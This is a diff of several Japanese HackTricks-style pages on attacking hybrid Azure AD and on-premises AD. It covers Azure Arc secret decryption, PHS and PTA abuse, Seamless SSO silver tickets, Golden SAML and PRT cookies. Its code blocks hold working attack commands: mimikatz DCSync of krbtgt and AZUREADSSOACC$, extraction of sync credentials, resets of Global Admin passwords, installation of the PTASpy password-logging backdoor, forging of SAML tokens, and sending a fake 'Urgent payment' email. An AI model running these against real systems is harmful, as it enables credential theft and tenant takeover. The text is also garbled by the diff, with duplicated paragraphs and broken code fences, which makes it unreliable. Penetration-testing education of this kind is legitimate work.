暗号化されたシークレットは、指定された共有の AzureArcDeploy ディレクトリ内DPAPI-NG 暗号化を使用して生成されます。暗号化されたシークレットは、encryptedServicePrincipalSecret という名前のファイルに保存されます。これに関する証拠は、DeployGPO.ps1 スクリプト内に見られ、暗号化は $descriptor$ServicePrincipalSecret を入力として ProtectBase64 を呼び出すことによって行われます。ディスクリプタは、ドメインコンピュータおよびドメインコントローラグループの SID で構成されており、ServicePrincipalSecret はドメインコントローラおよびドメインコンピュータのセキュリティグループによってのみ復号化できることが、スクリプトのコメントに記載されています。
```powershell
暗号化されたシークレットは、指定された共有のAzureArcDeployディレクトリ内DPAPI-NG暗号化を使用して生成されます。暗号化されたシークレットは、encryptedServicePrincipalSecretという名前のファイルに保存されます。これに関する証拠は、DeployGPO.ps1スクリプト内に見られ、暗号化は$descriptor$ServicePrincipalSecretを入力としてProtectBase64を呼び出すことによって行われます。ディスクリプタは、ドメインコンピュータおよびドメインコントローラグループのSIDで構成されており、ServicePrincipalSecretはドメインコントローラおよびドメインコンピュータのセキュリティグループによってのみ復号化できることが、スクリプトのコメントに記載されています。
```bash
# Encrypting the ServicePrincipalSecret to be decrypted only by the Domain Controllers and the Domain Computers security groups
$DomainComputersSID = "SID=" + $DomainComputersSID
$DomainControllersSID = "SID=" + $DomainControllersSID
@@ -31,20 +31,20 @@ $encryptedSecret = [DpapiNgUtil]::ProtectBase64($descriptor, $ServicePrincipalSe
3. AzureArcDeployディレクトリを含むネットワーク共有を発見しました。
AD環境内でマシンアカウントを取得する方法はいくつかあります。最も一般的な方法の1つは、マシンアカウントのクォータを悪用することです。別の方法は、脆弱なACLやさまざまな他の誤設定を通じてマシンアカウントを侵害することです。
```powershell
```bash
Import-MKodule powermad
New-MachineAccount -MachineAccount fake01 -Password $(ConvertTo-SecureString '123456' -AsPlainText -Force) -Verbose
```
マシンアカウントが取得されると、このアカウントを使用して認証することが可能です。runas.exeコマンドをnetonlyフラグと共に使用するか、Rubeus.exeを使用してパス・ザ・チケットを利用することができます。
```powershell
マシンアカウントが取得されると、このアカウントを使用して認証することが可能です。runas.exe コマンドを netonly フラグと共に使用するか、Rubeus.exe を使用してパス・ザ・チケットを利用することができます。
```bash
runas /user:fake01$ /netonly powershell
```
```powershell
```bash
.\Rubeus.exe asktgt /user:fake01$ /password:123456 /prr
```
コンピュータアカウントのTGTがメモリに保存されていることで、次のスクリプトを使用してサービスプリンシパルの秘密を復号化できます。
```powershell
```bash
Import-Module .\AzureArcDeployment.psm1
$encryptedSecret = Get-Content "[shared folder path]\AzureArcDeploy\encryptedServicePrincipalSecret"
@@ -56,7 +56,7 @@ $ebs
この時点で、暗号化されたServicePrincipalSecretファイルと同じネットワーク共有に保存されているArcInfo.jsonファイルから、Azureに接続するために必要な残りの情報を収集できます。このファイルには、TenantId、servicePrincipalClientId、ResourceGroupなどの詳細が含まれています。この情報を使用して、Azure CLIを使用して侵害されたサービスプリンシパルとして認証できます。
## 参考文献
## References
- [https://xybytes.com/azure/Abusing-Azure-Arc/](https://xybytes.com/azure/Abusing-Azure-Arc/)

View File

@@ -4,7 +4,7 @@
## 基本情報
**オンプレミスのActive Directory (AD)****Azure AD** の統合は、**Azure AD Connect** によって促進され、**シングルサインオン (SSO)** をサポートするさまざまな方法が提供されています。各方法は有用ですが、クラウドまたはオンプレミス環境を危険にさらす可能性のあるセキュリティ脆弱性を提示します:
**オンプレミスのActive Directory (AD)****Azure AD** の統合は、**Azure AD Connect** によって促進され、**シングルサインオン (SSO)** をサポートするさまざまな方法が提供されます。各方法は有用ですが、クラウドまたはオンプレミス環境を危険にさらす可能性のあるセキュリティ脆弱性を提示します:
- **パススルー認証 (PTA)**:
- オンプレミスADのエージェントが侵害される可能性があり、Azure接続のためのユーザーパスワードの検証が可能になりますオンプレからクラウドへ
@@ -15,7 +15,7 @@ pta-pass-through-authentication.md
{{#endref}}
- **パスワードハッシュ同期 (PHS)**:
- 高特権の自動生成されたAzureADユーザーの資格情報を含む、ADから特権ユーザーの平文パスワードを抽出する可能性
- 特権ユーザーのクリアテキストパスワードをADから抽出する可能性があり、高特権の自動生成されたAzureADユーザーの資格情報を含みます
{{#ref}}
phs-password-hash-sync.md
@@ -36,7 +36,7 @@ seamless-sso.md
{{#endref}}
- **クラウドKerberos信頼**:
- AzureADユーザー名とSIDを操作し、AzureADからTGTを要求することにより、グローバル管理者からオンプレミスドメイン管理者への昇格の可能性。
- AzureADユーザー名とSIDを操作し、AzureADからTGTを要求することにより、グローバル管理者からオンプレドメイン管理者への昇格の可能性。
{{#ref}}
az-cloud-kerberos-trust.md
@@ -49,10 +49,10 @@ az-cloud-kerberos-trust.md
az-default-applications.md
{{#endref}}
各統合方法について、ユーザーの同期が行われ、オンプレADに `MSOL_<installationidentifier>` アカウントが作成されます。特に、**PHS** と **PTA** の両方の方法は **シームレスSSO** を促進し、オンプレドメインに参加しているAzure ADコンピュータの自動サインインを可能にします。
各統合方法に対して、ユーザーの同期が行われ、オンプレADに `MSOL_<installationidentifier>` アカウントが作成されます。特に、**PHS** と **PTA** の両方の方法は **シームレスSSO** を促進し、オンプレドメインに参加しているAzure ADコンピュータの自動サインインを可能にします。
**Azure AD Connect** のインストールを確認するには、以下のPowerShellコマンドを使用できます。このコマンドは、**AzureADConnectHealthSync** モジュールAzure AD Connectと共にデフォルトでインストールされるを利用します
```powershell
```bash
Get-ADSyncConnector
```
{{#include ../../../../banners/hacktricks-training.md}}

View File

@@ -4,12 +4,12 @@
## AzureADユーザーをオンプレミスに同期してオンプレミスからAzureADに昇格する
新しいユーザーを**AzureADからオンプレミスADに同期**するための要件は次のとおりです
AzureADからオンプレミスADに新しいユーザーを同期するための要件は次のとおりです
- **AzureADユーザー**はプロキシアドレス(**メールボックス**)を持っている必要があります
- ライセンスは必要ありません
- **すでに同期されていないこと**
```powershell
```bash
Get-MsolUser -SerachString admintest | select displayname, lastdirsynctime, proxyaddresses, lastpasswordchangetimestamp | fl
```
AzureADでこのようなユーザーが見つかった場合、**オンプレミスADからアクセスするためには**、**SMTPメールのproxyAddress**を持つ**新しいアカウントを作成するだけです**。
@@ -17,7 +17,7 @@ AzureADでこのようなユーザーが見つかった場合、**オンプレ
自動的に、このユーザーは**AzureADからオンプレミスADユーザーに同期されます**。
> [!CAUTION]
> この攻撃を実行するためには**Domain Adminは必要ありません****新しいユーザーを作成する権限**があれば十分です。
> この攻撃を実行するためには**Domain Adminは必要ありません****新しいユーザーを作成する権限**があれば十分です。
>
> また、これは**MFAをバイパスしません**。
>

View File

@@ -27,7 +27,7 @@
1. 最初に、ユーザーがアプリケーションサービスプロバイダーまたはSP、例えばAWSコンソールやvSphere Webクライアントにアクセスします。このステップは特定の実装に応じてスキップされ、クライアントが直接IdPアイデンティティプロバイダーに移動することがあります。
2. 次に、SPはユーザー認証のために適切なIdPAD FS、Oktaを特定します。その後、SAMLSecurity Assertion Markup LanguageAuthnRequestを作成し、クライアントを選択したIdPにリダイレクトします。
3. IdPが引き継ぎ、ユーザーを認証します。認証後、IdPによってSAMLResponseが作成され、ユーザーを通じてSPに転送されます。
4. 最後に、SPはSAMLResponseを評価します。成功裏に検証され、IdPとの信頼関係が示されると、ユーザーにアクセスが許可されます。これにより、ログインプロセスが完了し、ユーザーはサービスを利用できるようになります。
4. 最後に、SPはSAMLResponseを評価します。成功裏に検証され、IdPとの信頼関係を示す場合、ユーザーにアクセスが許可されます。これにより、ログインプロセスが完了し、ユーザーはサービスを利用できるようになります。
**SAML認証と一般的な攻撃についてもっと学びたい場合は、次に進んでください**
@@ -47,9 +47,9 @@ https://book.hacktricks.wiki/en/pentesting-web/saml-attacks/index.html
**ゴールデンSAML攻撃**
- ADFSでは、SAML Responseはトークン署名証明書によって署名されます。
- 証明書が侵害されると、Azure ADにANYユーザーとして認証することが可能です
- PTAの悪用と同様に、ユーザーのパスワード変更やMFAは効果がありません。なぜなら、私たちは認証応答を偽造しているからです。
- 証明書はDA権限を持つAD FSサーバーから抽出でき、その後、インターネットに接続された任意のマシンから使用できます。
- 証明書が侵害された場合、Azure ADにANYユーザーとして認証することが可能です
- PTAの悪用と同様に、ユーザーのパスワード変更やMFAは効果がありません。なぜなら、認証応答を偽造しているからです。
- 証明書はDA権限を持つAD FSサーバーから抽出でき、インターネットに接続された任意のマシンから使用できます。
- 詳細は[https://www.cyberark.com/resources/threat-research-blog/golden-saml-newly-discovered-attack-technique-forges-authentication-to-cloud-apps](https://www.cyberark.com/resources/threat-research-blog/golden-saml-newly-discovered-attack-technique-forges-authentication-to-cloud-apps)で確認できます。
### ゴールデンSAML
@@ -69,7 +69,7 @@ https://book.hacktricks.wiki/en/pentesting-web/saml-attacks/index.html
[Active Directory Federation Services (AD FS)](<https://docs.microsoft.com/en-us/previous-versions/windows/server-2008/bb897402(v=msdn.10)>)は、信頼されたビジネスパートナー間での**アイデンティティ情報の安全な交換**を促進するMicrosoftのサービスです。これは、ドメインサービスがフェデレーション内の他のサービスプロバイダーとユーザーアイデンティティを共有できるようにします。
AWSが侵害されたドメインを信頼している場合フェデレーション内で、この脆弱性を利用してAWS環境内の**任意の権限を取得**することが可能です。この攻撃には、SAMLオブジェクトに署名するために使用される**秘密鍵**が必要であり、これはゴールデンチケット攻撃におけるKRBTGTが必要なことに似ています。AD FSユーザーアカウントへのアクセスがあれば、この秘密鍵を取得できます。
AWSが侵害されたドメインを信頼している場合フェデレーション内で、この脆弱性を利用してAWS環境内の任意の権限を**取得する**ことが可能です。この攻撃には、SAMLオブジェクトに署名するために使用される**秘密鍵**が必要であり、これはゴールデンチケット攻撃におけるKRBTGTが必要なことに似ています。AD FSユーザーアカウントへのアクセスがあれば、この秘密鍵を取得するのに十分です。
ゴールデンSAML攻撃を実行するための要件は次のとおりです
@@ -84,7 +84,7 @@ AWSが侵害されたドメインを信頼している場合フェデレー
_太字の項目のみが必須です。他の項目は任意で入力できます。_
**秘密鍵**を取得するには、**AD FSユーザーアカウント**へのアクセスが必要です。そこから、秘密鍵を[mimikatz](https://github.com/gentilkiwi/mimikatz)のようなツールを使用して**個人ストアからエクスポート**できます。他の必要な情報を収集するには、Microsoft.Adfs.Powershellスナップインを次のように利用できます。ADFSユーザーとしてログインしていることを確認してください
```powershell
```bash
# From an "AD FS" session
# After having exported the key with mimikatz
@@ -115,7 +115,7 @@ python .\shimit.py -idp http://adfs.lab.local/adfs/services/trust -pk key_file -
<figure><img src="../../../../images/image (128).png" alt=""><figcaption></figcaption></figure>
### オンプレミス -> クラウド
```powershell
```bash
# With a domain user you can get the ImmutableID of the target user
[System.Convert]::ToBase64String((Get-ADUser -Identity <username> | select -ExpandProperty ObjectGUID).tobytearray())
@@ -133,8 +133,8 @@ Export-AADIntADFSSigningCertificate
# Impersonate a user to to access cloud apps
Open-AADIntOffice365Portal -ImmutableID v1pOC7Pz8kaT6JWtThJKRQ== -Issuer http://deffin.com/adfs/services/trust -PfxFileName C:\users\adfsadmin\Documents\ADFSSigningCertificate.pfx -Verbose
```
クラウド専用ユーザーのImmutableIDを作成し、彼らをなりすますことも可能です。
```powershell
クラウド専用ユーザーのImmutableIDを作成し、彼らを偽装することも可能です。
```bash
# Create a realistic ImmutableID and set it for a cloud only user
[System.Convert]::ToBase64String((New-Guid).tobytearray())
Set-AADIntAzureADObject -CloudAnchor "User_19e466c5-d938-1293-5967-c39488bca87e" -SourceAnchor "aodilmsic30fugCUgHxsnK=="

View File

@@ -10,20 +10,20 @@
これは、企業がオンプレミスのADをAzure ADと同期させるために使用する**最も一般的な方法**です。
すべての**ユーザー**と**パスワードハッシュのハッシュ**は、オンプレからAzure ADに同期されます。ただし、**平文のパスワード**や**元の** **ハッシュ**はAzure ADに送信されません。\
すべての**ユーザー**と**パスワードハッシュのハッシュ**オンプレミスからAzure ADに同期されます。ただし、**平文のパスワード**や**元の** **ハッシュ**はAzure ADに送信されません。\
さらに、**組み込み**のセキュリティグループ(ドメイン管理者など)は**Azure ADに同期されません**。
**ハッシュの同期**は**2分ごと**に行われます。ただし、デフォルトでは、**パスワードの有効期限**と**アカウントの有効期限**はAzure ADに**同期されません**。したがって、**オンプレのパスワードが期限切れ**(変更されていない)であるユーザーは、古いパスワードを使用して**Azureリソースにアクセスし続ける**ことができます。
**ハッシュの同期**は**2分ごと**に行われます。ただし、デフォルトでは、**パスワードの有効期限**と**アカウントの有効期限**はAzure ADに**同期されません**。したがって、**オンプレミスのパスワードが期限切れ**(変更されていない)であるユーザーは、古いパスワードを使用して**Azureリソースにアクセスし続ける**ことができます。
オンプレのユーザーがAzureリソースにアクセスしたい場合、**認証はAzure ADで行われます**。
オンプレミスのユーザーがAzureリソースにアクセスしたい場合、**認証はAzure ADで行われます**。
**PHS**は、**アイデンティティ保護**やAADドメインサービスなどの機能に必要です。
## ピボッ
## ピボッティング
PHSが構成されると、いくつかの**特権アカウント**が自動的に**作成**されます:
- アカウント**`MSOL_<installationID>`**は、オンプレADに自動的に作成されます。このアカウントには**ディレクトリ同期アカウント**の役割が与えられます([ドキュメントを参照](https://docs.microsoft.com/en-us/azure/active-directory/users-groups-roles/directory-assign-admin-roles#directory-synchronization-accounts-permissions)。これは、オンプレADで**レプリケーションDCSync権限**を持つことを意味します。
- アカウント**`MSOL_<installationID>`**は、オンプレミスADに自動的に作成されます。このアカウントには**ディレクトリ同期アカウント**の役割が与えられます([ドキュメントを参照](https://docs.microsoft.com/en-us/azure/active-directory/users-groups-roles/directory-assign-admin-roles#directory-synchronization-accounts-permissions))。これは、オンプレミスADで**レプリケーションDCSync権限**を持つことを意味します。
- アカウント**`Sync_<name of on-prem ADConnect Server>_installationID`**がAzure ADに作成されます。このアカウントは、Azure AD内の**任意のユーザー**(同期されたユーザーまたはクラウド専用ユーザー)のパスワードを**リセット**できます。
これらの2つの特権アカウントのパスワードは、**Azure AD ConnectがインストールされているサーバーのSQLサーバーに保存**されています。管理者は、これらの特権ユーザーのパスワードを平文で抽出できます。\
@@ -33,14 +33,14 @@ PHSが構成されると、いくつかの**特権アカウント**が自動的
`SELECT private_configuration_xml, encrypted_configuration FROM mms_management_agent;`
**暗号化された構成**は**DPAPI**で暗号化されており、オンプレADの`MSOL_*`ユーザーの**パスワード**とAzureADの**Sync\_\***のパスワードを含んでいます。したがって、これらを侵害することでADおよびAzureADへの権限昇格が可能です。
**暗号化された構成**は**DPAPI**で暗号化されており、オンプレミスADの`MSOL_*`ユーザーの**パスワード**とAzureADの**Sync\_\***のパスワードを含んでいます。したがって、これらを侵害することでADおよびAzureADへの権限昇格が可能です。
これらの資格情報がどのように保存され、復号化されるかの[完全な概要はこのトークで確認できます](https://www.youtube.com/watch?v=JEIR5oGCwdg)。
### **Azure AD Connectサーバー**の発見
### **Azure AD Connectサーバーの発見**
**Azure AD Connectがインストールされているサーバー**がドメインに参加している場合(ドキュメントで推奨)、次の方法で見つけることができます:
```powershell
```bash
# ActiveDirectory module
Get-ADUser -Filter "samAccountName -like 'MSOL_*'" - Properties * | select SamAccountName,Description | fl
@@ -48,7 +48,7 @@ Get-ADUser -Filter "samAccountName -like 'MSOL_*'" - Properties * | select SamAc
Get-AzureADUser -All $true | ?{$_.userPrincipalName -match "Sync_"}
```
### MSOL\_\*の悪用
```powershell
```bash
# Once the Azure AD connect server is compromised you can extract credentials with the AADInternals module
Get-AADIntSyncCredentials
@@ -62,7 +62,7 @@ Invoke-Mimikatz -Command '"lsadump::dcsync /user:domain\krbtgt /domain:domain.lo
### Sync\_\*の悪用
**`Sync_*`** アカウントを侵害することで、任意のユーザー(グローバル管理者を含む)の**パスワードをリセット**することが可能です。
```powershell
```bash
# This command, run previously, will give us alse the creds of this account
Get-AADIntSyncCredentials
@@ -82,8 +82,8 @@ Set-AADIntUserPassword -SourceAnchor "3Uyg19ej4AHDe0+3Lkc37Y9=" -Password "JustA
# Now it's possible to access Azure AD with the new password and op-prem with the old one (password changes aren't sync)
```
クラウドユーザーのパスワードのみを**変更することも可能です**たとえそれが予期しないことであっても)。
```powershell
クラウドユーザーのパスワードのみを**変更することも可能です**予期しない場合でも)。
```bash
# To reset the password of cloud only user, we need their CloudAnchor that can be calculated from their cloud objectID
# The CloudAnchor is of the format USER_ObjectID.
Get-AADIntUsers | ?{$_.DirSyncEnabled -ne "True"} | select UserPrincipalName,ObjectID

View File

@@ -4,9 +4,9 @@
## 基本情報
[ドキュメントから:](https://learn.microsoft.com/en-us/entra/identity/hybrid/connect/how-to-connect-pta) Azure Active Directory (Azure AD) パススルー認証、ユーザー**同じパスワードを使用してオンプレミスおよびクラウドベースのアプリケーションにサインインできる**ようにします。この機能は、ユーザーにとってより良い体験を提供し、覚えるべきパスワードが1つ減るため、ITヘルプデスクのコストを削減します。ユーザーがAzure ADを使用してサインインすると、この機能は**オンプレミスのActive Directoryに対して直接ユーザーのパスワードを検証**します。
[From the docs:](https://learn.microsoft.com/en-us/entra/identity/hybrid/connect/how-to-connect-pta) Azure Active Directory (Azure AD) パススルー認証を使用すると、ユーザー**同じパスワードを使用してオンプレミスおよびクラウドベースのアプリケーションにサインイン**できます。この機能は、ユーザーにとってより良い体験を提供し、覚えるべきパスワードが1つ減るため、ITヘルプデスクのコストを削減します。ユーザーがAzure ADを使用してサインインすると、この機能は**オンプレミスのActive Directoryに対して直接ユーザーのパスワードを検証**します。
PTAでは**アイデンティティ**は**同期**されますが、**パスワード**はPHSのように**同期**されません。
PTAでは**アイデンティティ**は**同期**されますが、**パスワード**はPHSのように**同期**されません。
認証はオンプレミスのADで検証され、クラウドとの通信は**オンプレミスサーバー**で実行される**認証エージェント**によって行われますオンプレミスのDC上である必要はありません
@@ -20,20 +20,20 @@ PTAでは**アイデンティティ**は**同期**されますが、**パスワ
4. **エージェント**は**オンプレミスAD**に対して資格情報を**検証**し、**応答**をAzure ADに**返します**。応答が肯定的であれば、**ユーザーのログインを完了**します。
> [!WARNING]
> 攻撃者が**PTA**を**侵害**すると、キュー内のすべての**資格情報****平文**で)**見る**ことができます。\
> また、AzureADに対して**任意の資格情報を検証**することもできます(スケルトンキーに似た攻撃)。
> 攻撃者が**PTA**を**侵害**すると、キュー内のすべての**資格情報****平文**)を見ることができます。\
> また、AzureADに対して**任意の資格情報を検証**することもできます(Skeleton keyに似た攻撃)。
### オンプレミス -> クラウド
**PTA** **エージェント**が実行されている**Azure AD Connectサーバー**に**管理者**アクセスがある場合、**AADInternals**モジュールを使用して、**入力されたすべてのパスワードを検証**する**バックドア**を**挿入**できます(すべてのパスワードが認証に対して有効になります):
```powershell
```bash
Install-AADIntPTASpy
```
> [!NOTE]
> **インストールが失敗した場合**、これはおそらく[Microsoft Visual C++ 2015 Redistributables](https://download.microsoft.com/download/6/A/A/6AA4EDFF-645B-48C5-81CC-ED5963AEAD48/vc_redist.x64.exe)が不足しているためです。
また、前のバックドアがインストールされたマシンで次のcmdletを使用することで、**PTAエージェントに送信された平文のパスワードを見ることも可能です**:
```powershell
また、前のバックドアがインストールされたマシンで次のcmdletを使用することで、**PTAエージェントに送信された平文のパスワードを確認する**ことも可能です
```bash
Get-AADIntPTASpyLog -DecodePasswords
```
このバックドアは以下を行います:
@@ -48,11 +48,11 @@ Get-AADIntPTASpyLog -DecodePasswords
### クラウド -> オンプレミス
> [!CAUTION]
> クラウドで **GA権限** を取得した後、**攻撃者が制御するマシン** に設定することで **新しいPTAエージェント登録** することが可能です。エージェントが **設定** されると、**以前の** 手順を **繰り返して** **任意のパスワードを使用して認証** し、さらに **パスワードを平文で取得** することができます。
> クラウドで **GA 権限** を取得した後、**攻撃者が制御するマシン** に設定することで **新しい PTA エージェント** を **登録** することが可能です。エージェントが **設定** されると、**以前の** 手順を **繰り返して** **任意のパスワードを使用して認証** し、さらに **パスワードを平文で取得** することができます。
### シームレスSSO
### シームレス SSO
PTAを使用してシームレスSSOを利用することが可能ですが、他の悪用に対して脆弱です。詳細は以下を確認してください:
PTA とともにシームレス SSO を使用することが可能で、他の悪用に対して脆弱です。詳細は以下を確認してください:
{{#ref}}
seamless-sso.md

View File

@@ -1,10 +1,10 @@
# Az - シームレス SSO
# Az - シームレスSSO
{{#include ../../../../banners/hacktricks-training.md}}
## 基本情報
[ドキュメントから:](https://learn.microsoft.com/en-us/entra/identity/hybrid/connect/how-to-connect-sso) Azure Active Directory シームレスシングルサインオン (Azure AD Seamless SSO) は、**企業ネットワークに接続された企業デバイス上にいるときに自動的にユーザーをサインインさせます**。有効にすると、**ユーザーはAzure ADにサインインするためにパスワードを入力する必要がなく、通常はユーザー名すら入力する必要がありません**。この機能により、ユーザーは追加のオンプレミスコンポーネントなしで、クラウドベースのアプリケーションに簡単にアクセスできます。
[From the docs:](https://learn.microsoft.com/en-us/entra/identity/hybrid/connect/how-to-connect-sso) Azure Active Directory Seamless Single Sign-On (Azure AD Seamless SSO) は、**企業ネットワークに接続された企業デバイス上にいるときに自動的にユーザーをサインインさせます**。有効にすると、**ユーザーはAzure ADにサインインするためにパスワードを入力する必要がなく、通常はユーザー名すら入力する必要がありません**。この機能により、ユーザーは追加のオンプレミスコンポーネントなしで、クラウドベースのアプリケーションに簡単にアクセスできます。
<figure><img src="../../../../images/image (275).png" alt=""><figcaption><p><a href="https://learn.microsoft.com/en-us/entra/identity/hybrid/connect/how-to-connect-sso-how-it-works">https://learn.microsoft.com/en-us/entra/identity/hybrid/connect/how-to-connect-sso-how-it-works</a></p></figcaption></figure>
@@ -12,7 +12,7 @@
これは、[**PHS (パスワードハッシュ同期)**](phs-password-hash-sync.md) と [**PTA (パススルー認証)**](pta-pass-through-authentication.md) の両方でサポートされています。
デスクトップSSOは、**Kerberos**を使用して認証を行います。構成されると、Azure AD ConnectはオンプレミスADに**AZUREADSSOACC`$`というコンピュータアカウントを作成します**。`AZUREADSSOACC$`アカウントのパスワードは、構成中に**平文でAzure ADに送信されます**。
デスクトップSSOは、**Kerberos**を使用して認証を行います。構成されると、Azure AD ConnectはオンプレミスADに**AZUREADSSOACC`$`というコンピュータアカウントを作成します**。`AZUREADSSOACC$`アカウントのパスワードは、構成中に**平文でAzure ADに送信されます**。
**Kerberosチケット**は、パスワードの**NTHash (MD4)**を使用して**暗号化**され、Azure ADは送信されたパスワードを使用してチケットを復号化します。
@@ -21,7 +21,7 @@
### オンプレミス -> クラウド
ユーザーの**`AZUREADSSOACC$`のパスワードは決して変更されません**。したがって、ドメイン管理者はこのアカウントの**ハッシュを危険にさらすことができ**、それを使用して**シルバーチケットを作成し、任意のオンプレミスユーザーと同期してAzureに接続することができます**。
```powershell
```bash
# Dump hash using mimikatz
Invoke-Mimikatz -Command '"lsadump::dcsync /user:domain\azureadssoacc$ /domain:domain.local /dc:dc.domain.local"'
mimikatz.exe "lsadump::dcsync /user:AZUREADSSOACC$" exit
@@ -39,7 +39,7 @@ $key = Get-BootKey -SystemHivePath 'C:\temp\registry\SYSTEM'
(Get-ADDBAccount -SamAccountName 'AZUREADSSOACC$' -DBPath 'C:\temp\Active Directory\ntds.dit' -BootKey $key).NTHash | Format-Hexos
```
ハッシュを使用して、**シルバーチケットを生成**できます:
```powershell
```bash
# Get users and SIDs
Get-AzureADUser | Select UserPrincipalName,OnPremisesSecurityIdentifier
@@ -53,12 +53,12 @@ $at=Get-AADIntAccessTokenForEXO -KerberosTicket $kerberos -Domain company.com
## Send email
Send-AADIntOutlookMessage -AccessToken $at -Recipient "someone@company.com" -Subject "Urgent payment" -Message "<h1>Urgent!</h1><br>The following bill should be paid asap."
```
シルバーチケットを利用するには、以下の手順を実行する必要があります。
チケットを利用するには、以下の手順を実行する必要があります。
1. **ブラウザを起動する:** Mozilla Firefoxを起動します。
2. **ブラウザを設定する:**
- **`about:config`**に移動します。
- [network.negotiate-auth.trusted-uris](https://github.com/mozilla/policy-templates/blob/master/README.md#authentication)の設定を指定された[](https://docs.microsoft.com/en-us/azure/active-directory/connect/active-directory-aadconnect-sso#ensuring-clients-sign-in-automatically)にします:
- [network.negotiate-auth.trusted-uris](https://github.com/mozilla/policy-templates/blob/master/README.md#authentication)の設定を指定された[](https://docs.microsoft.com/en-us/azure/active-directory/connect/active-directory-aadconnect-sso#ensuring-clients-sign-in-automatically)に設定します:
- `https://aadg.windows.net.nsatc.net`
- `https://autologon.microsoftazuread-sso.com`
3. **Webアプリケーションにアクセスする:**
@@ -77,7 +77,7 @@ Send-AADIntOutlookMessage -AccessToken $at -Recipient "someone@company.com" -Sub
- **侵害されたユーザーのTGT:** たとえ持っていなくても、ユーザーが侵害されていれば、[Kekeo](https://x.com/gentilkiwi/status/998219775485661184)や[Rubues](https://posts.specterops.io/rubeus-now-with-more-kekeo-6f57d91079b9)などの多くのツールに実装されている偽TGT委任トリックを使用して取得できます。
- **ゴールデンチケット**: KRBTGTキーを持っていれば、攻撃対象のユーザーに必要なTGTを作成できます。
- **侵害されたユーザーのNTLMハッシュまたはAESキー:** SeamlessPassは、この情報を使用してドメインコントローラーと通信し、TGTを生成します。
- **AZUREADSSOACC$アカウントのNTLMハッシュまたはAESキー:** この情報とユーザーのセキュリティ識別子SIDを使用して、サービスチケットを作成し、クラウドに認証することが可能です前の方法で実行されたように
- **AZUREADSSOACC$アカウントのNTLMハッシュまたはAESキー:** この情報と攻撃対象のユーザーのセキュリティ識別子SIDを使用して、サービスチケットを作成し、クラウドに認証することが可能です前の方法で実行されたように
最後に、TGTを使用して、[**SeamlessPass**](https://github.com/Malcrove/SeamlessPass)ツールを使用することができます。
```

View File

@@ -34,34 +34,34 @@ PRTクッキーは実際には**`x-ms-RefreshTokenCredential`**と呼ばれ、JS
"request_nonce": "AQABAAAAAAAGV_bv21oQQ4ROqh0_1-tAPrlbf_TrEVJRMW2Cr7cJvYKDh2XsByis2eCF9iBHNqJJVzYR_boX8VfBpZpeIV078IE4QY0pIBtCcr90eyah5yAA"
}
```
実際の**Primary Refresh Token (PRT)**は、**`refresh_token`**内にカプセル化されており、これはAzure ADの制御下にあるキーによって暗号化されているため、その内容は私たちには不透明で復号不可能です。フィールド**`is_primary`**は、このトークン内にプライマリリフレッシュトークンがカプセル化されていることを示します。クッキーが意図された特定のログインセッションにバインドされ続けることを保証するために、`request_nonce``logon.microsoftonline.com`ページから送信されます。
実際の **Primary Refresh Token (PRT)****`refresh_token`** 内にカプセル化されており、これは Azure AD の制御下にあるキーによって暗号化されているため、その内容は私たちには不透明で復号不可能です。フィールド **`is_primary`** は、このトークン内にプライマリリフレッシュトークンがカプセル化されていることを示します。クッキーが意図された特定のログインセッションにバインドされ続けることを保証するために、`request_nonce``logon.microsoftonline.com` ページから送信されます。
### TPMを使用したPRTクッキーのフロー
**LSASS**プロセスは**KDFコンテキスト**をTPMに送信し、TPM**セッションキー**デバイスがAzureADに登録されたときに収集され、TPMに保存されたものと前のコンテキストを使用して**キーを導出**し、この**導出されたキー**は**PRTクッキーJWT)に署名するために使用されます。**
**LSASS** プロセスは **KDFコンテキスト**TPM に送信し、TPM**セッションキー**(デバイスが AzureAD に登録されたときに収集され、TPM に保存されたもの)と前のコンテキストを使用して **キーを導出** します。この **導出されたキー****PRTクッキー (JWT) を署名するために使用されます。**
**KDFコンテキストは**AzureADからのンスとPRTを混ぜた**JWT**と**コンテキスト**(ランダムバイト)です。
**KDFコンテキストは** AzureAD からのノンスと PRT を混ぜた **JWT****コンテキスト**(ランダムバイト)です。
したがって、PRTTPM内にあるため抽出できませんが、LSASSを悪用して**新しいコンテキストから導出されたキーを要求し、生成されたキーを使用してクッキーに署名する**ことが可能です。
したがって、PRTTPM 内にあるため抽出できない場合でも、LSASS を悪用して **新しいコンテキストから導出されたキーを要求し、生成されたキーを使用してクッキーに署名する** ことが可能です。
<figure><img src="../../../images/image (31).png" alt=""><figcaption></figcaption></figure>
## PRT悪用シナリオ
**通常のユーザー**として、LSASSSSOデータを要求することで**PRTの使用を要求する**ことが可能です。\
これは、**Web Account Manager**(トークンブローカー)からトークンを要求する**ネイティブアプリ**のように行うことができます。WAMはリクエストを**LSASS**に渡し、LSASSは署名されたPRTアサーションを使用してトークンを要求します。また、**PRTクッキー****ヘッダー**としてAzure ASログインページへのリクエストを認証するために使用される**ブラウザベース(ウェブ)フロー**で行うことできます。
**通常のユーザー** として、LSASSSSO データを要求することで **PRTの使用を要求する** ことが可能です。\
これは、**Web Account Manager**(トークンブローカー)からトークンを要求する **ネイティブアプリ** のように行うことができます。WAM はリクエストを **LSASS** に渡し、LSASS は署名された PRT アサーションを使用してトークンを要求します。また、**PRTクッキー****ヘッダー** として使用して Azure AS ログインページへのリクエストを認証する **ブラウザベース(ウェブ)フロー** でも行うことできます。
**SYSTEM**として、TPMによって保護されていない場合は**PRTを盗むことができ**、または**LSASS内のPRTキーと相互作用する**ことができます。
**SYSTEM** として、TPM によって保護されていない場合は **PRTを盗むことができ**、または **LSASS 内のPRTキーと相互作用する** ことができます。
## Pass-the-PRT攻撃の例
### 攻撃 - ROADtoken
この方法の詳細については[**この投稿を確認してください**](https://dirkjanm.io/abusing-azure-ad-sso-with-the-primary-refresh-token/)。ROADtokenは正しいディレクトリから**`BrowserCore.exe`**を実行し、これを使用して**PRTクッキーを取得**します。このクッキーはその後ROADtoolsを使用して認証し、**永続的なリフレッシュトークンを取得**するために使用できます。
この方法の詳細については [**この投稿を確認してください**](https://dirkjanm.io/abusing-azure-ad-sso-with-the-primary-refresh-token/)。ROADtoken は正しいディレクトリから **`BrowserCore.exe`** を実行し、これを使用して **PRTクッキーを取得** します。このクッキーはその後ROADtools を使用して認証し、**永続的なリフレッシュトークンを取得** するために使用できます。
有効なPRTクッキーを生成するために最初に必要なのはンスです。\
これを取得するには
```powershell
有効な PRT クッキーを生成するために最初に必要なのはノンスです。\
これを取得するには:
```bash
$TenantId = "19a03645-a17b-129e-a8eb-109ea7644bed"
